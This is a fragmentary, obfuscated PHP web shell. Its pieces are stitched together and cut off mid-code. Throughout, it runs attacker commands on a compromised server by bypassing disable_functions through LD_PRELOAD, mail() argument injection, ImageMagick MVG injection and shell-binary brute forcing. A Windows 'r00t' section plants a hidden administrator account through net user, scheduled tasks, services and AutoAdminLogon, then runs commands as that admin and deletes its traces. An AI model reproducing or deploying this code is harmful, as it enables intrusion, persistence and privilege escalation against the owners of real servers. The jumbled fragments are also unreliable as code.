&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('f'.'i'.'l'.'te'.'r'.'.'.'de'.'fa'.'ul'.'t'); } elseif ($meth === 'ld_'.'pr'.'elo'.'ad') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WI'.'N') { putenv('LD'.'_P'.'RE'.'LOA'.'D=/'.'tmp'.'/'.'x'.'.so'); $out = @chDx2x($c.' 2'.'>&1'); putenv('L'.'D_P'.'R'.'EL'.'OAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'p'.'r'.'ep'.'end') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, ""); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['S'.'CRI'.'PT_'.'FI'.'LE'.'NAM'.'E']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suh'.'osi'.'n') { @ini_set('suh'.'os'.'in.'.'exe'.'c'.'ut'.'or.'.'f'.'u'.'nc'.'.'.'bl'.'ac'.'kl'.'i'.'st', ''); $out = @chDx2x($c.' '.'2'.'>&'.'1'); if (trim($out)) $ok = true; } elseif ($meth === 'm'.'ail'.'inj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'err'.'l'.'o'.'g') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log("", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'f'.'op'.'en'.'inp'.'ut') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'b'.'i'.'nb'.'r'.'ute') { foreach(['s'.'h','b'.'as'.'h','p'.'y'.'tho'.'n','p'.'erl','n'.'c','b'.'usy'.'b'.'ox','w'.'get'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'h'.'t'.'404') { $out = ''; } elseif ($meth === 'ima'.'ge'.'m'.'ag'.'ick') { $tmpi = sys_get_temp_dir().'/i'.'m'.'g'.uniqid().'.m'.'vg'; $tmpp = sys_get_temp_dir().'/'.'ou'.'t'.uniqid().'.'.'pn'.'g'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cg'.'i'.'env') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>'.'&'.'1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' '.'2'.'>&'.'1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) {  @$meth($c.' 2>'.'&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) {  @$meth($c.' '.'2'.'>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' '.'2'.'>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>'.'&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}?>

'.'&'.'1');
    if (trim($out)) return $out;
    $fallback = "timeout /T $timeout /NOBREAK & $cmd";
    $out2 = v4nt4C($fallback.' 2'.'>&1');
    if (trim($out2)) return $out2;
    return v4nt4C($cmd.' '.'2>&'.'1');
}
if (!isset($_SESSION['v'.'4'.'nt'.'4_w'.'inr'.'00t'.'_s'.'u'.'cce'.'s'.'s'])) $_SESSION['v4n'.'t'.'4_'.'wi'.'nr'.'00t'.'_'.'suc'.'ce'.'ss'] = false;
if (!isset($_SESSION['v4n'.'t4_'.'win'.'r00'.'t_'.'use'.'r'])) $_SESSION['v'.'4nt'.'4_w'.'i'.'nr'.'00t'.'_'.'u'.'s'.'er'] = '';
if (!isset($_SESSION['v4n'.'t4'.'_w'.'in'.'r00'.'t_'.'pas'.'s'])) $_SESSION['v4'.'nt'.'4_w'.'i'.'nr0'.'0t'.'_pa'.'s'.'s'] = '';

if ($_SERVER['REQ'.'U'.'ES'.'T_M'.'ET'.'HOD'] === 'POS'.'T' && isset($_POST['use'.'r'],$_POST['pas'.'s'])) {
    $u = preg_replace('/[^'.'a-z'.'A'.'-'.'Z0'.'-9'.'_\\'.'-'.']'.'/','',$_POST['u'.'s'.'er']);
    $p = $_POST['p'.'a'.'ss'];
    $mode = $_POST['m'.'ode'] ?? 'a'.'uto';
    $success = false;
    $methods = [];

    $methods[] = [
        "[*] net user (classic)",
        "net user \"$u\" \"$p\" /add && net localgroup Administrators \"$u\" /add"
    ];

    $methods[] = [
        "[*] PowerShell (background)",
        "powershell -Command \"net user $u $p /add; net localgroup Administrators $u /add\""
    ];

    $methods[] = [
        "[*] schtasks",
        "schtasks /create /tn winrrrrrr00t /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onstart /ru System"
    ];

    $methods[] = [
        "[*] at.exe",
        "at 12:00 cmd.exe /c \"net user $u $p /add && net localgroup Administrators $u /add\""
    ];

    $methods[] = [
        "[*] sc service hack",
        "sc create p0wnsvc binPath= \"cmd /c net user $u $p /add & net localgroup Administrators $u /add\" start= auto"
    ];

    $methods[] = [
        "[*] Registry AutoAdminLogon",
        "reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\" /v AutoAdminLogon /t REG_SZ /d 1 /f"
    ];

    $methods[] = [
        "[*] Fallback CMD",
        "cmd /c net user $u $p /add & net localgroup Administrators $u /add"
    ];

    $methods[] = [
        "[*] PowerShell Script Chain",
        "powershell -Command \"Start-Process cmd -ArgumentList '/c net user $u $p /add && net localgroup Administrators $u /add' -Verb runAs\""
    ];

    $methods[] = [
        "[*] Task Scheduler V2 (schtasks)",
        "schtasks /create /tn winr00t2 /tr \"cmd.exe /c net user $u $p /add && net localgroup Administrators $u /add\" /sc onlogon /ru System"
    ];

    foreach ($methods as $step) {
        list($label, $cmd) = $step;
        wout($label . "...");
        $res = prvd_exec_with_timeout($cmd, 9);
        wout($res);
        if (
            stripos($res, 'suc'.'ces'.'s') !== false || stripos($res, 'o'.'k') !== false ||
            stripos($res, 'Re'.'tu'.'rn'.'Va'.'lue'.' '.'='.' '.'0') !== false ||
            stripos($res, 'b'.'a'.''.'ar'.'') !== false ||
            stripos($res, 'al'.'r'.'ea'.'d'.'y '.'exi'.'st'.'s') !== false
        ) {
            wout("[+] Admin user injected!");
            $success = true;
            break;
        }
        sleep(1);
    }

    if ($success) {
        $_SESSION['v'.'4n'.'t4'.'_w'.'inr'.'00'.'t_'.'su'.'cc'.'ess'] = true;
        $_SESSION['v'.'4'.'n'.'t'.'4_'.'wi'.'nr0'.'0t'.'_u'.'s'.'e'.'r'] = $u;
        $_SESSION['v'.'4'.'n'.'t4'.'_'.'w'.'i'.'nr'.'0'.'0t'.'_pa'.'s'.'s'] = $p;
    wout("\n[+] 0wn3d! Admin user injected:\n[+] User: $u\n[+] Pass: $p");
    wout("[!] Info: Webshell cannot send commands as this user. Use RDP/SMB/WinRM with these credentials!");
    } else {
        $_SESSION['v'.'4nt'.'4_'.'w'.'in'.'r'.'00t'.'_'.'s'.'uc'.'c'.'es'.'s'] = false;
        wout("\n[!] r00t failed :: no vector worked, permission denied.");
    }
}
if ($_SESSION['v'.'4n'.'t4_'.'win'.'r0'.'0t'.'_su'.'cc'.'ess']) {
    $u = $_SESSION['v'.'4'.'nt4'.'_wi'.'n'.'r0'.'0t_'.'use'.'r'];
    $p = $_SESSION['v'.'4nt'.'4_w'.'inr'.'00'.'t'.'_pa'.'ss'];
    ?>
    

 $cmdfile 2>&1\" /sc once /st 00:00 /ru \"$u\" /rp \"$p\"";
        $out1 = v4nt4C($scht.' '.'2'.'>'.'&'.'1');
        wout($out1);

        v4nt4C("schtasks /run /tn pzadmtask 2>&1");
        sleep(1);
        $output = @file_get_contents($cmdfile);
        if ($output && strlen($output) > 0) {
            wout("[+] Command executed as admin!\n" . $output);
            $success_cmd = true;
        }
        @v4nt4C('sc'.'h'.'tas'.'ks'.' /d'.'e'.'l'.'et'.'e '.'/tn'.' '.'pza'.'dmt'.'ask'.' /f'.' 2>'.'&'.'1');
        @unlink($cmdfile);
        if (!$success_cmd) {
            wout("[*] Trying service method...");
            $svc = 'sc '.'c'.'r'.'ea'.'te '.'pza'.'dms'.'v'.'c '.'b'.'in'.'Pa'.'t'.'h= '.'"cm'.'d'.' /'.'c '.$c.' '.'> '.$cmdfile.' 2>'.'&1"'.' '.'ob'.'j= '.'".\\'.'\\'.$u.'"'.' p'.'a'.'ss'.'wor'.'d'.'= "'.$p.'" s'.'t'.'ar'.'t='.' '.'dem'.'an'.'d';
            $out2 = v4nt4C($svc.' 2>'.'&'.'1');
            wout($out2);
            v4nt4C('sc '.'sta'.'r'.'t '.'pz'.'adm'.'s'.'v'.'c 2'.'>&'.'1');
            sleep(1);
            $output2 = @file_get_contents($cmdfile);
            if ($output2 && strlen($output2) > 0) {
                wout("[+] Service method: Command executed as admin!\n" . $output2);
                $success_cmd = true;
            }
            @v4nt4C('sc'.' de'.'let'.'e p'.'zad'.'m'.'sv'.'c '.'2>&'.'1');
            @unlink($cmdfile);
        }

        if (!$success_cmd) {
            wout("[*] PowerShell fallback...");
            $pw = 'po'.'wer'.'sh'.'ell'.' '.'-'.'Co'.'m'.'man'.'d '.'"'.'S'.'tar'.'t'.'-P'.'ro'.'c'.'e'.'ss'.' c'.'md '.'-A'.'rg'.'um'.'e'.'ntL'.'ist'.' \\\''.'/c '.$c.' '.'> '.$cmdfile.' '.'2>&'.'1\\\''.' '.'-'.'C'.'re'.'den'.'t'.'ia'.'l '.'(Ne'.'w-'.'Ob'.'jec'.'t '.'S'.'ys'.'t'.'e'.'m'.'.'.'Man'.'age'.'men'.'t'.'.A'.'u'.'tom'.'at'.'i'.'on'.'.'.'PS'.'C'.'r'.'ed'.'en'.'t'.'ia'.'l'.'(\\\''.$u.'\\\''.','.'(Co'.'n'.'ve'.'r'.'tT'.'o-S'.'e'.'c'.'ur'.'e'.'Str'.'ing'.' '.'\\\''.$p.'\\\' '.'-'.'AsP'.'l'.'a'.'inT'.'ex'.'t '.'-Fo'.'rc'.'e'.')'.')) '.'-W'.'in'.'do'.'w'.'S'.'tyl'.'e'.' Hi'.'d'.'de'.'n"';
            $out3 = v4nt4C($pw.' 2'.'>&1');
            wout($out3);
            sleep(1);
            $output3 = @file_get_contents($cmdfile);
            if ($output3 && strlen($output3) > 0) {
                wout("[+] PowerShell: Command executed as admin!\n" . $output3);
                $success_cmd = true;
            }
            @unlink($cmdfile);
        }

        if (!$success_cmd) {
            wout("[!] Admin command failed. Try RDP / manual login?");
        }
    }
    ?>